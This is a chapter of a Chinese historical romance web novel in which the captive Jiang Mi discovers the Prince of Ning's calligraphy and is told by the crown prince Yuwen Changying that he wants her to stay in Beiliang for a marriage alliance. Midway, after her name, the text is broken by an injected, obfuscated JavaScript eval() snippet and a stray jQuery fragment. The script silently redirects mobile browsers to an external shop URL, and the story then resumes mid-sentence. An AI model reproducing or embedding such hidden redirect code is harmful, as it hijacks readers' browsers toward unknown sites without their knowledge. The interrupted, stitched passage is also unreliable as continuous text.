姜弥心里一直记挂着宇文长赢的话。
焚火会的热闹,一概没看进去。
她看着燃烧至人高的篝火,景象却是模糊的。尽管宇文长赢在耳边诉说着篝火的由来,北凉牧民的信仰,还有些什么特别的仪式……她没在听。
人群喧嚣,整个坊市像是突然沉入水底。笑声、鼓点、歌谣,都变成模糊的回响。火星炸裂时溅起的热度,都被无形的水浇灭了。
姜弥分不清,她是醒着还是睡着了。
宇文长赢提到某个仪式,兴致勃勃靠近她,可那声音,一点一点钻进她的肌肤,凉意顺着后颈窜上来。
她只看到宇文长赢那张脸,在明灭的烛火下,时不时隐没在黑暗里。
突而,她意识到,在这盛大的焚火会上,她才是那个被看的圣物。
“岂止粮草商贾。”这句话盘旋着,扎根在姜弥心里。
他到底想要什么?
这个问题也不断生根发芽,如同鬼魅一样,飘荡着,仿佛伺机要跳出来,咬下她身上的一块肉。
她隐隐觉着,宇文长赢在图谋一个她根本给不起的承诺。
后半夜,姜弥不记得自己是怎么回到小院。
一切迷迷糊糊,肃苍把她带到马车上,可赤芍和赵掌柜仍旧不见踪影。
那场本该立刻进行的交易,竟然就如此拖延下去。
直到隔日午时。
阳光照彻窗棂,姜弥揉着发疼的额角,慢慢站起身。
她在榻上随便对付了一晚,翻来覆去都是昨夜从木箱里滚出来,宇文长赢朝她伸手的那一幕。那是醒不来的噩梦,竟然比前世濒死时的利箭还要可怖。
她早该听宁王的话,不该与虎谋皮。
可走到这一步,身后已经没有退路,就算不是为自己,赤芍、赵掌柜,还有兄长,她都得硬着头皮,把这条路走到底。
“小娘子可醒了?”
门外传来肃苍的声音,像是蒙着一层雾。
姜弥理了理衣裳,宇文长赢的斗篷还挂在床角,她忽而把衣裳往衣架上一丢,眼不见为净。
“你们殿下终于想起我了?”
姜弥开了门,话说出口,又觉得有些奇怪,只好轻咳一声,转而道,“他在哪?”
肃苍嘴里正叼着半个包子,懒散地倚在廊柱上,听到姜弥言语带刺,赶紧把包子咽下去,做出一副恭敬的样子。
“殿下正在暖阁,吩咐我带姑娘过去。”
姜弥打量了他一眼,面色红润,只有眼下青乌,身形微微浮肿。
估计昨晚跑去牧民家里蹭酒喝了,日上三竿才起来。
这不,还在吃早食呢。
她嫌弃地点了点自己嘴角,示意他道:“你先把这擦干净,再带我去吧。”
肃苍双目微睁,使劲擦了擦脸,“行了行了。”
他动作急切,带着点被戳破的窘迫,侧身不再看姜弥,直接熟门熟路地往前快走。
姜弥一边跟着,一边思忖。
以前也不见肃苍这般毫无章法,行宫苦闷,宇文长赢每月只来三四次,肃苍每次传话,虽匆匆忙忙,但也是一副公事公办的模样,比起现在叼着个包子的孩子气,沉稳多了。
时间还真是能改变人。
她在北凉十年,也逐渐找不回闺阁里的影子。就如她现在,每走一步,都要算一算后面的危险,好在,她马上能回家了。
姜弥抬头瞥了眼太阳,当空高悬,雪亮的暖光洒下来,将周遭的景色都吞没,刺眼,但,是她想要的未来。
她一定会回到南晋,沐浴着同一片日光。
都督府占地不小,跟着肃苍东拐西拐,姜弥头都要晕了。
昨夜本就提心吊胆,被日头一晒,身心困乏。她慢慢停了下来,靠在石头上。
肃苍走出几步,发觉人没跟上来,又折返过来,弯腰问道:“走不动?这才几步路啊。”
姜弥横了他一眼,用手撑着头,似埋怨道:“你包子倒是吃开心了,我从昨夜到现在,就喝了一口你们北凉的马奶酒。走得那么快,谁能跟得上。我懒得动了。”
原本她在院子里的吃食,还有穆婉君和赤芍管着,至少饿不死。
可昨天那么一闹,宇文长赢定然封锁消息,穆娘子恐怕什么都不知道,却没法再保着她的吃穿用度。
赤芍也不知被宇文长赢关在哪,她胆子那么小,别又哭鼻子了。
想到这,姜弥胸口发热,稍微有了些力气。
肃苍在腰间作势翻找,但包子早就进他肚子里,刚刚去厨房顺东西的时候,也没顺两个小点心,还真有些尴尬。
姜弥默默站起来,一副无所谓的态度。
“行了,前面带路。等早些见完殿下,记得送两碟点心过来。”
肃苍讪笑了两下,虽还在走,脚步却不自觉放慢了。
姜弥强忍着胃中不适,眼下不是计较的时候,早些知晓宇文长赢的态度,才是攸关性命的正事。
“就在里面。”
肃苍慢悠悠停在廊檐。
这儿是都督府的中心,中堂和左侧暖阁有着长长的连廊,他指了指侧开着门的暖阁,努了努下巴,“殿下恭候多时了。”
那间屋子并不大,三阶踏垛,窄廊小门,走进去,仅有一榻一案。
倒是墙上挂满了各色书画,最靠近窗户的位置,摆着一幅摊开来的书法裱画。上头字形浑圆有力,笔锋却透出说不出的俊逸气息。
末尾落款只有“长赢”二字,却刻着醒目印章,上头清清楚楚印着“阙霄”。
姜弥心头猛地一跳。
宇文阙霄。
宁王。
是啊,宇文长赢素来不爱诗书典籍,行宫的屋子里连半本杂书都瞧不见,如此细致静雅的字,怎么会是他写的。
何况越看,她越觉得,这笔触和宁王的字迹一模一样。
他们兄弟二人,就像一根藤上的两朵花,各开各的,各有各的不同,只是像说好了似的,完全向相反的方向生长。
宁王性格开朗温柔,喜爱诗书作画;宇文长赢则内敛狡诈,总是舞刀弄枪。
不过就姜弥所知,这两人,竟从来没有红过脸。宇文长赢对自己母亲会有一言不合吵起来的时候,对宁王,却是真正的兄友弟恭。
除了,宁王帮她逃跑。
宇文长赢的怒火,是直接要了宁王的命。
所以从前的种种,也不过是假装给宁王看的。
姜弥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769910|209864||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
恍惚刺疼,指甲已经掐在指腹上。她方才想得太过,都忘了宇文长赢就在屏风后头。
明明已经是上辈子的事,却还在不断回忆。
她深吸口气,低声道:“太子殿下唤我来,该不会是请我欣赏书画吧?”
“我瞧郡主看得很是认真,还以为你来了兴致,准备好好欣赏一番。”
宇文长赢漫不经心走出来,屏风被他随意推开了一些,后头的案几露出来,除了堆着的兵书,那张画有她画像的纸极其扎眼。
下头把她的来历乱写一通,一看就知是兄长暗中寻人的布告。
竟然会在宇文长赢处。
脑中百转千回,她倏忽明白过来,“昨日你放我去焚火会,是因为这张布告?”
她离宇文长赢远远的,故意绕着他走近案几,仿佛很有意思似的,拿起画像,“你的探子查到我的身份,可你没有强有力的证据,于是想着引蛇出洞……真不愧是太子殿下,连法子,都这么见不得光。”
宇文长赢没指望她有好脸色,自然不在乎她语气里的讽刺。
他腾出手捏住画线一角,轻松抽出来,“这画像,”他凑近了一点,“同郡主也不算相像。”
他蓦地轻笑,指着画像上痕迹模糊的一处,“这一笔墨,怕是画工画懵了,滴上去的。平白让郡主长了胡子。”
姜弥额角狂跳,突然不知如何应对宇文长赢没头没尾的调笑。
她索性不去看他,没好气道:“殿下最好有话直说,我听不懂你的机锋,也懒得应付你的笑话。你要真是没事干,想不出要提什么条件,就找你那个边走边吃早食的护卫玩去,我没那个闲工夫。”
宇文长赢自讨没趣,唇角僵了僵。
他将画像扔在兵书旁,施施然拖出两张宣纸,又亲自磨墨,语调平稳:“既然唤郡主来,自然是想好了条件。”
他顿了顿,眼底一片狡黠,“就是不知道郡主,能不能接受了。”
姜弥狐疑地盯着他,断然道:“丑话说在前头,既然是你我之间的交易,不可涉及两国国本。你若要粮草银钱,我还能说得上话。若是要城池土地,那你趁早死了这条心,直接把我拖出去,斩首了事。”
她说得十分决绝,显然是怕宇文长赢说出一个惊天动地的要求。
宇文长赢冷冷“嗯”了一声,那股自傲又冒出来:“哪怕两国谈判,北凉敢要城池,南晋难道就会傻乎乎给?郡主,你兄长虽敢犯险救人,但涉及国土之争,你未免把自己看得太重。”
伶牙俐齿!
姜弥在心里骂了他一句,这副说他一句要回十句的脾气,和十年后没什么区别。
果然,之前都是她的错觉。
“那便请太子殿下,开门见山,别再绕圈子了。”
姜弥抱起胳膊,腰往案几靠了靠,定定看着他,一字一顿,“你到底想要什么?”
见姜弥神情严肃,宇文长赢终于收起插科打诨的面庞。
他退了一步,拉开些距离,只是姿态仍旧懒散,倚着屏风,学姜弥的模样,抱好胳膊,语气里带着一分狡猾:“我想……”
宇文长赢颈侧微动,目光随之落在她眉间,笑意浮在表面。
“郡主留在北凉,和亲。”